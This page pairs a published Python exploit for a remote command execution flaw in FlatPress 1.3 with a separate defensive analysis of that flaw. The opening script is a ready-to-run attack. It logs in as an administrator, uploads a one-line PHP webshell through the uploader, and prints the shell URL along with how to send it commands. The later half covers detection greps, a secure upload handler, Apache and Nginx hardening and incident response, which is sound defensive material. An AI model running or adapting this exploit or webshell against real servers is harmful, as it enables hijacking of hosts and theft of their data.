FlatPress v1.3 - Remote Command Execution

Exploit Author: Ahmet Ümit BAYRAM Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-04-21
# Exploit Title: FlatPress v1.3 - Remote Command Execution
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 19.04.2024
# Vendor Homepage: https://www.flatpress.org
# Software Link: https://github.com/flatpressblog/flatpress/archive/1.3.zip
# Tested Version: 1.3 (latest)
# Tested on: MacOS

import requests
import time
import random
import string

def random_string(length=5):
    """Rastgele bir string oluşturur."""
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def login_and_upload(base_url, username, password):
    filename = random_string() + ".php"
    login_url = f"http://{base_url}/login.php"
    upload_url = f"http://{base_url}/admin.php?p=uploader&action=default"

    with requests.Session() as session:
        # Exploiting
        print("Exploiting...")
        time.sleep(1)

        # Giriş yapma denemesi
        login_data = {
        'user': username,
        'pass': password,
        'submit': 'Login'
        }
        print("Logging in...")
        response = session.post(login_url, data=login_data)
        time.sleep(1)

        if "Logout" in response.text:
            print("Login Successful!")
        else:
            print("Login Failed!")
            print(response.text)
            return

        # Dosya yükleme denemesi
        print("Shell uploading...")
        time.sleep(1)

        # Form verileri ve dosyalar
        files = {
        'upload[]': (filename, '<?=`$_GET[0]`?>', 'text/php'),
        }
        form_data = {
        '_wpnonce': '9e0ed04260',
        '_wp_http_referer': '/admin.php?p=uploader',
        'upload': 'Upload'
        }

        response = session.post(upload_url, files=files, data=form_data)

        if "File(s) uploaded" in response.text or "Upload" in response.text:
            shell_url = f"http://{base_url}/fp-content/attachs/{filename}"
            print(f"Your Shell is Ready: {shell_url}")
            time.sleep(1)
            print(f"Shell Usage: {shell_url}?0=command")
        else:
            print("Exploit Failed!")
            print(response.status_code, response.text)

# Örnek kullanım: python script.py siteadi.com username password
if __name__ == "__main__":
    import sys
    if len(sys.argv) != 4:
        print("Usage: script.py <base_url> <username> <password>")
    else:
        base_url, username, password = sys.argv[1:]
        login_and_upload(base_url, username, password)


FlatPress v1.3 — Remote Command Execution (RCE): Analysis, Impact, and Mitigation

This article explains a recently reported Remote Command Execution (RCE) issue affecting FlatPress 1.3. It covers root causes, potential impact, safe detection techniques, and practical mitigations for administrators and developers. The guidance focuses on defensive controls and secure coding practices to prevent similar upload-based RCEs.

Executive summary

FlatPress v1.3 contains an insecure file upload flow that can allow authenticated users with access to the uploader page to place executable files into a web-accessible directory. When the webserver treats those files as executable (for example, PHP), an attacker can achieve RCE by placing a webshell. Rapid action is recommended: apply vendor fixes, restrict access, and apply server-side mitigations.

Key keywords

  • FlatPress RCE
  • insecure file upload
  • webshell mitigation
  • secure file handling
  • php upload prevention

Vulnerability overview

The vulnerability arises from a combination of insecure upload handling and permissive server configuration:

  • The application accepts user-supplied files and places them into a web-accessible directory.
  • There is insufficient validation of file contents, extensions, or MIME types.
  • The server allows execution of uploaded PHP (or other script) files from that directory.
  • Authentication or authorization checks around the uploader may be weak, missing CSRF protections, or trivially bypassed for privileged accounts.

Why this leads to RCE

If an attacker can upload a file containing server-side code (for example, PHP) into a directory accessible via HTTP, they can trigger execution by visiting the file URL. That file can execute arbitrary system commands, leading to full compromise of the web application host.

Impact

  • Full remote code execution within the web application context.
  • Data theft or corruption (database, uploaded content, configuration files).
  • Pivoting from the compromised host to internal networks.
  • Persistent backdoors (webshells) that survive simple remediation if not fully investigated.

Root cause analysis

Typical root causes for upload-to-RCE include:

  • No or weak validation of file extension and MIME type.
  • Trusting client-supplied metadata (Content-Type, file name).
  • Saving uploads under a path that the webserver will execute (e.g., webroot/uploads).
  • Missing server-side checks for file contents (magic bytes / PHP tags).
  • Insufficient access control or CSRF protections around the uploader endpoint.

Responsible reproduction (for defenders)

Security teams validating a claim should test in an isolated environment (not production). Reproduction should be limited, controlled, and documented for remediation purposes. Do not perform live exploits against systems you do not own or have authorization to test.

Detection and indicators of compromise (IoCs)

Focus on finding unexpected uploaded executable files and unusual web requests. Examples of defensive detection techniques:

  • Search the uploads directory for executable extensions that should not be present (e.g., .php, .phtml, .php5).
  • Scan recent uploads for embedded server-side code snippets (PHP open tags, eval/exec usage). Use these checks server-side, and only in a safe analysis environment.
  • Inspect webserver logs for requests to uploaded files and for long or unusual query strings directed at files in upload directories.
  • Monitor outbound traffic and unusual process creation on hosts that have web servers running.

Example defensive log search commands (for administrators):

# Find requests to files under a specific upload directory
grep -Ei "/fp-content/attachs/.*\.(php|phtml|php5)" /var/log/apache2/access.log

# Find uploaded files containing PHP open tags (run on a copy of the uploads folder)
grep -R --line-number -E "<\\?php|<\\?=|eval\\(|base64_decode\\(" /var/www/flatpress/fp-content/attachs/

Explanation: These grep examples highlight how to locate suspicious filenames and content in logs and files. Note: run content scans on copies of files and in controlled environments to avoid accidental execution.

Mitigations and fixes

Apply a layered approach: patch the application, harden server configuration, and improve runtime detection.

Short-term (immediate) steps

  • Restrict access to the admin/uploader interface to trusted IPs or VPNs.
  • Temporarily disable file uploads if not required.
  • Harden the webserver to prevent execution of scripts in upload directories (see server config below).
  • Scan uploads for suspicious files and remove any unauthorized PHP or executable uploads.

Long-term (secure fixes)

  • Upgrade FlatPress to the fixed version provided by the vendor (check vendor advisories).
  • Implement proper server-side file validation and sanitization.
  • Store uploads outside the webroot or serve them through a proxy that denies execution.
  • Add CSRF protection and strict authentication checks to the uploader endpoint.
  • Apply least privilege on filesystem permissions for uploaded content.

Secure file upload example (PHP defensive pattern)

<?php
// Defensive pseudocode: validate uploaded files before storing
session_start();

// Ensure user is authenticated and has appropriate role
if (!isset($_SESSION['user']) || $_SESSION['role'] !== 'admin') {
    http_response_code(403);
    exit('Forbidden');
}

// CSRF token validation (example)
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
    http_response_code(400);
    exit('Invalid CSRF token');
}

$allowed_ext = ['jpg','png','gif','pdf'];
$upload_dir = __DIR__ . '/../private_uploads/'; // outside webroot

if (!empty($_FILES['upload']['name'])) {
    $name = basename($_FILES['upload']['name']);
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    if (!in_array($ext, $allowed_ext, true)) {
        exit('Invalid file type');
    }

    // Use finfo to detect actual MIME type
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mime = $finfo->file($_FILES['upload']['tmp_name']);
    // Map and validate MIME according to allowed extensions
    $mime_allowed = ['image/jpeg','image/png','image/gif','application/pdf'];
    if (!in_array($mime, $mime_allowed, true)) {
        exit('Invalid file content');
    }

    // Generate a safe filename and move to non-web directory
    $safe_name = bin2hex(random_bytes(12)) . '.' . $ext;
    if (!move_uploaded_file($_FILES['upload']['tmp_name'], $upload_dir . $safe_name)) {
        exit('Upload failed');
    }

    // Ensure uploaded files are not executable
    chmod($upload_dir . $safe_name, 0644);
    echo 'Upload successful';
}
?>

Explanation: This code demonstrates a defensive approach for PHP-based upload handling. Key controls include session-based authorization, CSRF validation, strict extension and MIME whitelist, storing files outside the webroot, random safe filenames, and non-executable permissions. This pattern reduces the risk of arbitrary code execution from uploaded files.

Server configuration hardening

Ensure web servers do not execute uploaded files. Example configurations:

Apache (.htaccess) — prevent PHP execution in uploads

# Place this in the uploads directory (or a parent directory)

    Require all denied


# Disable handlers for script extensions
RemoveHandler .php .phtml .php5
RemoveType .php .phtml .php5

Explanation: This .htaccess snippet denies requests to script extensions and removes handler mappings to ensure uploaded PHP files are not executed even if present.

Nginx — serve uploads as static and deny script execution

location /fp-content/attachs/ {
    internal;
    alias /var/www/flatpress/private_attachs/;
    # Ensure PHP execution is not forwarded for files in this location
    autoindex off;
    access_log /var/log/nginx/attachs_access.log;
}

# If uploads must be under a webroot, explicitly deny PHP there
location ~* ^/fp-content/attachs/.*\.(php|phtml|php5)$ {
    return 403;
}

Explanation: The Nginx example shows how to serve uploads from a non-public directory or to deny requests for script files in the uploads directory, preventing execution of uploaded code.

Detection rules and monitoring suggestions

  • Create IDS/IPS signatures to flag requests for uploaded files that include suspicious query parameters or long payloads.
  • Set alerts for any write operations to upload directories performed by the webserver user outside expected times or patterns.
  • Use file integrity monitoring (FIM) to detect new executable files placed under upload directories.
  • Search application logs for any admin page activity followed by file creation and direct GET requests to those files.

Incident response guidance

  • Isolate the affected host from the network (if compromise is confirmed).
  • Preserve logs and a copy of the uploads directory for forensic analysis.
  • Scan for known webshell indicators and remove unauthorized files.
  • Rotate credentials that may have been exposed and review admin accounts for abuse.
  • Rebuild the host from trusted images if indicators of full compromise are found.

Summary checklist

Action Priority
Update FlatPress to vendor-supplied patch High
Disable uploads or restrict access to uploader High
Prevent execution of uploaded files via server config High
Implement server-side file validation and store uploads outside webroot High
Monitor logs and run integrity checks on upload directories Medium

References and further reading

  • FlatPress project and advisories — check the vendor site or repository for patches and release notes.
  • OWASP: Unrestricted File Upload — guidance on secure upload handling.
  • Web server hardening guides for Apache and Nginx.

This guidance is focused on defensive measures. If you are responsible for FlatPress instances in production, prioritize vendor updates and the server-side mitigations described above. For penetration testing or vulnerability validation, always obtain written authorization and operate in a controlled test environment.